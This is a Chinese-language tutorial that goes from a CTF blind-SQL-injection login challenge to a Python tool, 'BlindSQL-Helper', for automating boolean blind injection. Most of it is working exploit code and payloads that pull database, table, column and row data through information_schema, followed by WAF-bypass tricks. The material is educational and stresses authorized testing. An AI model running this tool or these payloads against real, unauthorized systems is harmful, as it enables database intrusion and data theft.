从CTF布尔盲注到Python自动化SQL注入工具开发实战

1. 项目概述：从一道CTF题到工具开发的旅程

最近在带几个对网络安全感兴趣的学生打青少年CTF，遇到了一道名为“EzLogin”的登录框题目。这道题本身并不复杂，是一个典型的基于布尔盲注的SQL注入漏洞。但在带着学生一步步手工构造Payload、判断数据库名、表名、列名，最后拖出管理员密码的过程中，我明显感觉到他们的耐心在一点点被消耗。重复、机械的猜解过程，与CTF比赛争分夺秒的氛围格格不入。这让我想起了自己刚入门时，面对一个需要手动跑上千次请求的盲注点，那种既兴奋于发现漏洞，又头疼于繁琐操作的矛盾心情。

于是，我决定把这次解题过程，升级成一个更有价值的实战项目：开发一个轻量级的自动化SQL注入工具。我们的目标不是做一个像sqlmap那样的“大杀器”，而是聚焦于解决CTF和基础实战中最常见、最经典的基于布尔/时间的盲注场景。通过亲手编写代码，学生们不仅能深刻理解SQL注入漏洞的原理和利用链的每一个环节，更能掌握将重复劳动自动化、将攻击思路工具化的核心能力。这远比单纯解出一道题，或者死记硬背几个Payload要有意义得多。这个工具，我们姑且称之为“BlindSQL-Helper”，它将围绕“请求-判断-提取”的核心逻辑展开，用Python实现，力求代码清晰、逻辑易懂，让每一位安全新手都能看懂、修改并用于自己的实战中。

2. 漏洞原理深度剖析：EzLogin与布尔盲注

在开始动手写工具之前，我们必须把背后的原理吃透。EzLogin这道题，模拟了一个非常经典的漏洞场景：一个用户登录功能，后端代码直接拼接用户输入来构造SQL查询语句。

2.1 漏洞代码还原与动态SQL风险

我们不妨用一段简化的伪代码来还原漏洞现场：

# 危险的后端代码示例（使用字符串拼接） username = request.POST.get('username') password = request.POST.get('password') sql = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'" result = db.execute(sql) if result: login_success() else: login_failed()

当用户在用户名框输入admin' --时，拼接后的SQL语句变成了SELECT * FROM users WHERE username='admin' --' AND password='xxx'。--在大多数数据库中是注释符，它使得后面的密码检查条件被注释掉，从而绕过了密码验证。这就是最简单的联合注入或报错注入可能发生的地方。

但EzLogin题目设计得更“狡猾”一点，它屏蔽了错误回显。无论你输入什么，页面都只返回“登录成功”或“登录失败”两种状态，不会直接显示数据库错误信息或查询结果。这就把我们引向了“布尔盲注”的领域。布尔盲注的精髓在于，我们可以通过构造特殊的Payload，让SQL语句的执行结果（真或假）直接影响页面的返回内容（比如返回内容长度不同、关键词存在与否等），从而像“猜谜”一样，一位一位地推断出数据库里的信息。

这里需要插入一个非常重要的知识点，也是近期很多漏洞的根源：动态SQL中的${}与#{}。这在MyBatis、MyBatis-Plus等持久层框架中非常常见。#{}是预编译占位符，传入的参数会被安全地处理，能有效防止SQL注入。而${}是字符串替换，它会直接将传入的值拼接到SQL语句中，如果这个值用户可控，就会引入SQL注入风险。很多开发者在写动态排序ORDER BY ${field}或动态表名时，为了灵活性使用了${}，却未对输入做严格过滤，导致了漏洞。奇安信等安全扫描器报出的SQL注入漏洞，很多都源于此。我们的工具要探测的，正是这类由不当拼接导致的、无回显的注入点。

2.2 布尔盲注的手工利用逻辑

手工利用布尔盲注，本质是一个“提问-回答”的二进制搜索过程。假设我们要猜解当前数据库名的第一个字母。

1. 提问：发送一个Payload，询问数据库“数据库名的第一个字母的ASCII码是否大于100？” Payload示例：admin' AND ascii(substr(database(),1,1))>100 --这条语句的意思是：如果当前用户是admin，并且数据库名第一个字母的ASCII码大于100，那么整个AND条件为真，原查询语句可能返回结果（导致登录“成功”的某种状态）。否则，为假，原查询无结果（导致登录“失败”状态）。
2. 观察回答：查看页面返回是“成功态”还是“失败态”。
3. 调整问题：根据上一次的回答，调整比较的数值。如果大于100返回“成功”，那么我们下次就问“是否大于150？”；如果返回“失败”，就问“是否大于50？”。如此反复，逐步缩小范围。
4. 确定答案：最终，我们可以确定一个具体的ASCII码值（例如97），对应一个字母（‘a’）。

这个过程需要为每一位字符重复数十次请求。猜解一个10位的数据库名，就需要数百次请求。手工操作是完全不现实的，这正是我们开发自动化工具的驱动力。

注意：在实际CTF或授权测试中，目标的“成功”与“失败”状态标识需要人工预先判断。可能是一个关键词（如“welcome”）、页面标题变化、HTTP状态码，或者是响应体长度的显著差异。这是自动化工具需要配置的核心参数之一。

3. 自动化工具设计与核心模块拆解

我们的“BlindSQL-Helper”工具，核心任务就是模拟并优化上述手工猜解过程。工具的设计需要模块清晰，每个环节可替换、可调试。

3.1 整体架构与工作流程

工具的整体工作流程可以概括为：配置 -> 探测 -> 提取 -> 输出。我们将围绕这个流程构建几个核心模块：

1. 请求引擎模块：负责与目标Web应用通信，发送HTTP请求，并捕获响应。这是工具的基础。
2. 布尔状态判断模块：这是工具的“眼睛”。它需要根据预先定义的规则（如关键词匹配、长度判断），从响应中准确判别当前请求对应的是SQL查询“真”还是“假”。
3. Payload生成与调度模块：这是工具的“大脑”。它负责根据要提取的信息（库名、表名、数据），动态生成用于布尔比较的SQL注入Payload，并管理猜解过程（如二分查找算法）。
4. 信息提取主控模块：这是工具的“指挥官”。它定义提取任务（例如：先获取当前数据库名，再获取所有表名...），并协调调度模块和判断模块循环工作，直到获取完整信息。

3.2 关键技术选型与原因

• 编程语言：Python。这是毫无争议的选择。丰富的网络库（requests）、解析库（BeautifulSoup），以及简洁的语法，能让我们快速实现原型，并让学生易于理解和修改。
• HTTP库：requests。简单易用，功能强大，足以应对大多数CTF场景。对于需要处理复杂会话、Cookie、重定向的场景，requests.Session()能很好地保持状态。
• 并发处理：初期版本为了逻辑清晰，采用单线程顺序请求。因为盲注的每次请求都依赖于上一次的响应结果，串行执行逻辑最简单。在后续优化中，对于可以并发的部分（如猜解不同位置的字符），可以考虑引入threading或concurrent.futures来提升速度，但要注意目标服务器的压力承受能力。
• 算法核心：二分查找算法。猜解一个字符的ASCII码（范围0-127），最笨的方法是逐次询问=1?，=2?... 需要最多127次。使用二分查找，每次将范围缩小一半，最多仅需log2(128) ≈ 7次请求即可确定。效率提升是数量级的。

4. 工具核心模块实现详解

接下来，我们进入具体的代码实现环节。我会分模块讲解关键代码，并附上大量注释和注意事项。

4.1 请求引擎与状态判断模块实现

这是工具的基石，必须稳健可靠。

import requests import time class RequestHandler: def __init__(self, target_url, method='POST', data=None, headers=None, cookies=None, delay=0): """ 初始化请求处理器。 :param target_url: 目标URL :param method: 请求方法，默认为POST（登录场景常用） :param data: 请求体数据（字典形式），其中包含注入点占位符 :param headers: 自定义请求头 :param cookies: 初始Cookie :param delay: 每次请求后的延迟秒数，避免触发防护或请求过快 """ self.url = target_url self.method = method.upper() self.base_data = data or {} self.headers = headers or {'User-Agent': 'BlindSQL-Helper/1.0'} self.cookies = cookies or {} self.delay = delay self.session = requests.Session() # 使用Session保持会话 def send_request(self, payload, injection_point='username'): """ 发送单次注入请求。 :param payload: 构造好的SQL注入Payload（不包含两端的引号等） :param injection_point: 注入点参数名，默认为'username' :return: requests.Response 对象 """ # 复制基础数据，在指定注入点插入Payload data = self.base_data.copy() # 这里假设注入点需要被包裹在单引号中，这是最常见情况。 # 实际可能需要根据目标调整，如数字型注入则无需引号。 data[injection_point] = f"test' {payload} -- " # 示例Payload拼接 try: if self.method == 'POST': resp = self.session.post(self.url, data=data, headers=self.headers, cookies=self.cookies, timeout=10) elif self.method == 'GET': # 如果是GET请求，需要将data拼接到URL参数中 # 这里简化处理，实际应用可能需要更复杂的参数构造 resp = self.session.get(self.url, params=data, headers=self.headers, cookies=self.cookies, timeout=10) else: raise ValueError(f"Unsupported HTTP method: {self.method}") time.sleep(self.delay) # 请求延迟 return resp except requests.exceptions.RequestException as e: print(f"[!] 请求失败: {e}") return None class ResponseJudger: def __init__(self, true_condition, false_condition): """ 初始化响应判断器。 :param true_condition: 判断为True（SQL条件成立）的条件，支持函数或字典配置 :param false_condition: 判断为False（SQL条件不成立）的条件（可选，通常通过True条件取反） """ self.true_condition = true_condition self.false_condition = false_condition def is_true(self, response): """ 判断响应是否满足SQL条件为真的情况。 :param response: requests.Response 对象 :return: True or False """ return self._check_condition(response, self.true_condition) def is_false(self, response): """ 判断响应是否满足SQL条件为假的情况。 如果定义了false_condition则用它，否则默认为 not is_true()。 """ if self.false_condition: return self._check_condition(response, self.false_condition) else: return not self.is_true(response) def _check_condition(self, response, condition): """内部方法，根据条件配置检查响应""" if response is None: return False if callable(condition): # 条件是一个函数，例如 lambda r: "登录成功" in r.text return condition(response) elif isinstance(condition, dict): # 条件是一个字典，可配置多种判断方式 # 例如：{'type': 'keyword', 'true': 'welcome', 'false': 'failed'} # 或：{'type': 'length', 'true': 1000, 'operator': 'greater'} 更复杂，此处简化 cond_type = condition.get('type', 'keyword') if cond_type == 'keyword': keyword = condition.get('keyword', '') return keyword in response.text elif cond_type == 'length': op = condition.get('operator', 'eq') length = condition.get('length', 0) resp_len = len(response.content) if op == 'eq': return resp_len == length elif op == 'gt': return resp_len > length elif op == 'lt': return resp_len < length # 可以扩展其他判断类型，如状态码、响应时间等 return False

关键点解析与避坑指南：

1. Payload拼接的灵活性：send_request方法中的data[injection_point] = f"test' {payload} -- "是一个示例。现实中，注入点的闭合方式千变万化：可能是'、"、)、'))等等。我们的工具应该将“闭合方式”作为一个可配置项，而不是写死在代码里。一个更健壮的做法是提供一个payload_template参数，例如{prefix}{payload}{suffix}，让用户根据实际情况配置。
2. 状态判断是核心：ResponseJudger类的设计至关重要。布尔盲注工具是否准确，90%取决于状态判断是否可靠。在实战开始前，必须进行手工校准：
   • 先发送一个必然为真的Payload（如admin' AND 1=1 --），记录此时的响应特征（如特定关键词、长度L1）。
   • 再发送一个必然为假的Payload（如admin' AND 1=2 --），记录响应特征（如关键词消失、长度L2）。
   • 用这两组特征来配置true_condition和false_condition。判断逻辑越简单、越独特越好。例如，如果1=1时页面包含“登录成功”，1=2时不包含，那么条件函数可以写为lambda r: “登录成功” in r.text。
3. 延迟与超时：delay参数不是摆设。对于有基础防护（如简单的请求频率限制）的靶场或测试环境，适当的延迟（如0.5-1秒）可以大大提高工具的稳定性，避免因请求过快被屏蔽。超时设置timeout也能防止因网络或目标问题导致工具长时间挂起。

4.2 Payload生成与二分查找算法实现

这是工具的智能核心，负责高效地“提问”。

class PayloadGenerator: """Payload生成器，负责构造布尔盲注的查询语句""" @staticmethod def for_current_db(char_position, comparison_value, operator='>'): """ 生成猜解当前数据库名第N位字符的Payload。 :param char_position: 字符位置（从1开始） :param comparison_value: 用于比较的ASCII码值 :param operator: 比较运算符， '>', '<', '=' :return: 构造好的Payload片段 """ # 使用 substr 或 substring 函数，取决于数据库类型（这里以MySQL为例） # database() 函数获取当前数据库名 payload = f"AND ascii(substr(database(),{char_position},1)){operator}{comparison_value}" return payload @staticmethod def for_table_name(db_name, char_position, comparison_value, operator='>', table_index=0): """ 生成猜解指定数据库表名第N位字符的Payload。 :param db_name: 数据库名 :param char_position: 字符位置 :param comparison_value: 比较值 :param operator: 比较运算符 :param table_index: 表在信息中的索引（limit 子句） :return: Payload片段 """ # MySQL 示例：从information_schema.tables中查询 # 注意：需要根据实际情况调整表名和列名（如Oracle、SQLServer不同） payload = f"AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}' LIMIT {table_index},1),{char_position},1)){operator}{comparison_value}" return payload @staticmethod def for_column_name(db_name, table_name, char_position, comparison_value, operator='>', col_index=0): """生成猜解指定表列名第N位字符的Payload""" payload = f"AND ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}' AND table_name='{table_name}' LIMIT {col_index},1),{char_position},1)){operator}{comparison_value}" return payload @staticmethod def for_data(db_name, table_name, column_name, char_position, comparison_value, operator='>', row_index=0): """生成猜解具体数据第N位字符的Payload""" payload = f"AND ascii(substr((SELECT `{column_name}` FROM `{db_name}`.`{table_name}` LIMIT {row_index},1),{char_position},1)){operator}{comparison_value}" return payload class BinarySearcher: """二分查找执行器，管理单个字符的猜解过程""" def __init__(self, request_handler, response_judger, payload_generator_func, char_set_range=(32, 126)): """ :param request_handler: 请求处理器实例 :param response_judger: 响应判断器实例 :param payload_generator_func: 一个函数，接收(char_pos, comparison_val, operator)参数，返回Payload字符串 :param char_set_range: 字符ASCII码范围，默认可打印字符(32-126) """ self.req_handler = request_handler self.judger = response_judger self.gen_payload = payload_generator_func self.low, self.high = char_set_range def guess_char(self, char_position): """ 猜解指定位置的单个字符。 :param char_position: 字符位置（从1开始） :return: 猜解出的字符（字符串），如果失败返回None """ low, high = self.low, self.high while low <= high: mid = (low + high) // 2 # 先问是否大于中间值 payload_gt = self.gen_payload(char_position, mid, '>') resp_gt = self.req_handler.send_request(payload_gt) if self.judger.is_true(resp_gt): # 如果大于mid，则范围缩小到 [mid+1, high] low = mid + 1 else: # 如果不大于mid，再问是否等于中间值 payload_eq = self.gen_payload(char_position, mid, '=') resp_eq = self.req_handler.send_request(payload_eq) if self.judger.is_true(resp_eq): # 如果等于mid，找到字符 return chr(mid) else: # 如果小于mid，范围缩小到 [low, mid-1] high = mid - 1 # 循环结束未找到，可能字符不在指定范围内 return None

算法细节与优化思考：

1. 二分查找逻辑：上述guess_char方法实现了标准的二分查找。它先询问是否 > mid，如果为真，则目标值在右半区；如果为假，则再询问是否 == mid，若等于则找到，否则在左半区。理论上，猜解一个字符最多需要2*log2(N)次请求（N为字符集大小）。对于ASCII可打印字符（约95个），最多约14次请求。
2. Payload生成器的抽象：我们将生成Payload的函数payload_generator_func作为参数传入BinarySearcher。这样设计的好处是，BinarySearcher只关心“比较”这个动作，而不需要知道具体是在猜库名、表名还是数据。上层调用者根据不同的任务，传入不同的生成函数，实现了模块解耦，代码更清晰、易扩展。
3. 字符集范围：char_set_range参数允许我们自定义猜解的字符范围。默认是ASCII可打印字符（32-126），涵盖了字母、数字和常用符号。如果确定目标数据只包含字母数字，可以缩小范围到(48,57)和(65,90)和(97,122)，进一步提升效率。

4.3 主控模块与完整信息提取流程

现在，我们将各个模块组装起来，实现从数据库名到具体数据的完整自动化提取。

class BlindSQLExploiter: """盲注利用主控类""" def __init__(self, target_url, true_condition, false_condition=None, **request_kwargs): self.req_handler = RequestHandler(target_url, **request_kwargs) self.judger = ResponseJudger(true_condition, false_condition) self.current_db = None def get_current_database(self, max_length=30): """获取当前数据库名""" print("[*] 开始猜解当前数据库名...") # 首先猜解长度 length = self._guess_length(PayloadGenerator.for_current_db, max_length) if length is None: print("[-] 无法确定数据库名长度") return None print(f"[+] 数据库名长度: {length}") # 然后逐位猜解字符 db_name = '' for pos in range(1, length + 1): searcher = BinarySearcher(self.req_handler, self.judger, lambda p, v, op: PayloadGenerator.for_current_db(p, v, op)) char = searcher.guess_char(pos) if char: db_name += char print(f"[+] 位置 {pos}: '{char}' -> 当前: {db_name}") else: print(f"[-] 位置 {pos}: 猜解失败") db_name += '?' self.current_db = db_name print(f"[+] 当前数据库名: {db_name}") return db_name def _guess_length(self, payload_gen_func, max_len): """猜解字符串长度的通用方法""" for l in range(1, max_len + 1): # 构造判断长度的Payload: 长度是否等于 l? # 例如：AND length(database())=1 # 这里需要根据实际情况调整，示例使用一个简单的等于判断 # 更通用的做法是让payload_gen_func也支持长度猜解模式 # 简化处理：这里假设我们可以直接构造 payload = f"AND length(database())={l}" resp = self.req_handler.send_request(payload) if self.judger.is_true(resp): return l return None def get_tables(self, db_name, max_tables=10, max_table_name_len=50): """获取指定数据库的所有表名""" print(f"[*] 开始获取数据库 '{db_name}' 的表名...") tables = [] for i in range(max_tables): print(f"[*] 正在获取第 {i+1} 个表名...") # 猜解表名长度 # 这里需要实现一个针对表名长度的猜解方法，逻辑类似_guess_length # 为简化示例，假设我们知道或跳过长度猜解，直接猜内容 table_name = self._guess_string( lambda p, v, op: PayloadGenerator.for_table_name(db_name, p, v, op, table_index=i), max_len=max_table_name_len ) if not table_name: print(f"[-] 第 {i+1} 个表名获取失败或不存在更多表") break tables.append(table_name) print(f"[+] 发现表: {table_name}") return tables def _guess_string(self, payload_gen_func, max_len=50): """通用字符串猜解函数（已知或猜解长度后，逐位猜解字符）""" # 先猜长度（这里简化，实际需要根据目标调整猜解长度的Payload） # 假设我们通过其他方式知道了长度，或者用一个较大的范围逐位猜直到失败 result = '' for pos in range(1, max_len + 1): searcher = BinarySearcher(self.req_handler, self.judger, payload_gen_func) char = searcher.guess_char(pos) if char: result += char else: # 如果某一位猜不出字符，可能意味着字符串已经结束 # 但需要谨慎，也可能是猜解失败。可以结合其他逻辑判断。 # 简单处理：连续3位失败则结束 break return result if result else None def exploit(self): """主利用流程""" print("[*] BlindSQL-Helper 启动") # 1. 获取当前数据库 db = self.get_current_database() if not db: print("[-] 初始信息获取失败，退出") return # 2. 获取表名 tables = self.get_tables(db) if not tables: print("[-] 未发现表，退出") return print(f"[+] 发现表列表: {tables}") # 3. 假设我们对第一个表感兴趣，获取其列名 target_table = tables[0] print(f"[*] 开始获取表 '{target_table}' 的列名...") # 此处需要实现 get_columns 方法，逻辑与 get_tables 类似 # columns = self.get_columns(db, target_table) # 4. 获取数据（示例：获取第一列的前几行数据） # data = self.get_data(db, target_table, columns[0], max_rows=5) print("[*] 利用流程演示结束。") # 使用示例 if __name__ == "__main__": # 目标URL和登录参数（以EzLogin为例） url = "http://target-ctf.com/login.php" post_data = { 'username': 'admin', # 这里会被工具替换 'password': 'any' # 密码不重要，可能被注释掉 } # 定义True条件：当SQL条件为真时，页面包含 "Login success" 关键词 true_cond = lambda resp: "Login success" in resp.text # 创建利用器 exploiter = BlindSQLExploiter( target_url=url, true_condition=true_cond, data=post_data, injection_point='username', # 指定注入点参数名 delay=0.5 # 每次请求间隔0.5秒 ) # 开始利用 exploiter.exploit()

主控逻辑与扩展性：

1. 流程编排：exploit方法定义了标准的利用流程：库 -> 表 -> 列 -> 数据。这是一个清晰的攻击链。在实际CTF中，目标可能只需要到某一步。
2. 通用猜解函数：_guess_string函数尝试将猜解一个未知字符串的过程模板化。它依赖于外部的payload_gen_func来提供针对不同查询目标的Payload。这种设计提高了代码的复用率。
3. 亟待完善之处：示例代码中，get_tables、get_columns等方法内部的长度猜解逻辑被简化了。一个完整的实现需要为每种查询（查库名长度、表名长度、列名长度）编写特定的Payload生成逻辑。这虽然繁琐，但结构是清晰的。你可以看到，我们只需要按照PayloadGenerator.for_xxx_length的模式去补充即可。

5. 实战调试与常见问题排查

工具写好了，但在真实的CTF靶场或测试环境中，总会遇到各种意想不到的问题。下面是我在实战中总结的一些排查技巧和常见问题。

5.1 工具调试与问题诊断

1. 第一步：验证注入点与闭合方式

   • 症状：工具运行后，所有请求返回的状态都一样（全真或全假），无法区分。
   • 排查：首先用最经典的单引号'测试。手动发送username=admin'，观察是否有SQL语法错误（即使不回显，有时HTTP状态码会变500）。然后测试admin' AND '1'='1和admin' AND '1'='2，看页面是否有差异。务必确认闭合符号（',",')等）和注释符（--,#,/*）在目标环境下有效。将正确的闭合方式配置到工具的RequestHandler中。

2. 第二步：校准布尔状态判断

   • 症状：工具能运行，但猜解出的字符是乱码或明显错误。
   • 排查：这是最常见的问题。务必在工具正式运行前，进行手工校准。使用工具中的RequestHandler和ResponseJudger类，手动发送AND 1=1和AND 1=2的Payload，检查is_true函数的返回值是否如预期。注意：有些目标在SQL条件为假时，可能返回一个不同的“错误页面”，而不是“登录失败”页面。判断逻辑需要能捕捉这种差异。可以尝试用响应长度 (len(response.content)) 作为判断依据，这通常更稳定。

3. 第三步：处理网络波动与反爬

   • 症状：工具运行不稳定，偶尔请求失败或超时，导致猜解中断。
   • 解决：
     • 增加延迟：调高delay参数，这是最有效的方法。
     • 设置重试：在send_request方法中加入简单的重试机制（如最多3次）。
     • 处理Cookie/Session：确保requests.Session()被正确使用，以维持登录状态。有些靶场在登录后会设置一个Session Cookie，所有后续请求都需要携带它。
     • 检查Token/CSRF：如果目标页面有动态的CSRF Token或类似的防伪参数，需要先解析页面获取Token，再将其加入到POST数据中。这会使工具复杂化，但在一些实战场景中是必须的。

5.2 常见问题速查表

5.3 高级绕过技巧浅谈

在更复杂的实战中，可能会遇到简单的空格被过滤、substr和ascii等函数被禁用的情况。这就需要我们对Payload进行变形。这些技巧可以集成到PayloadGenerator类中，作为可选的“混淆模式”。

• 空格绕过：使用注释/**/代替空格。AND 1=1变成AND/**/1=1。
• 函数名绕过：使用同义函数或特性。MySQL中substr可以用substring、mid；ascii可以用ord。
• 字符串字面量：如果'admin'被过滤，可以用十六进制0x61646D696E或char(97,100,109,105,110)来表示。
• 比较运算符：>和<被过滤时，可以使用greatest()、least()函数，或者利用between ... and ...语法。

实现一个健壮的自动化工具，需要将这些绕过技巧模块化，根据目标环境动态选择。但这已经超出了我们这个教学工具的范围，可以作为后续深入开发的方向。

6. 项目总结与安全思考

通过这个从EzLogin漏洞到“BlindSQL-Helper”工具开发的完整项目，我们走完了一个安全研究者典型的“发现问题 -> 分析原理 -> 手工验证 -> 工具自动化”的流程。对于学习者而言，亲手实现一遍二分查找猜解、处理HTTP请求与响应、调试状态判断逻辑，其对SQL注入漏洞的理解深度，是仅仅使用现成工具无法比拟的。

这个工具目前还是一个“玩具”，它处理的是最理想的布尔盲注场景。真实世界的Web应用千奇百怪：可能有复杂的JavaScript渲染、需要处理验证码、有更强大的WAF、或者使用非常规的数据库。但它的核心价值在于提供了一个清晰、可扩展的框架。你可以基于它，去增加时间盲注的支持（通过比较响应时间），去集成更复杂的Payload绕过模块，甚至去联动其他漏洞扫描器的结果。

最后，必须强调的是，所有安全技术的学习和研究，都必须在合法、授权的环境下进行。CTF比赛、像DVWA、Pikachu、SQLi-Labs这样的漏洞靶场，以及企业提供的授权测试环境，才是我们磨练技能的正当场所。理解漏洞的原理和利用方法，最终目的是为了能够更好地防御它。在开发自己的工具时，也要时刻谨记这一点，避免将其用于任何未经授权的测试，这是每一位安全从业者最基本的职业道德底线。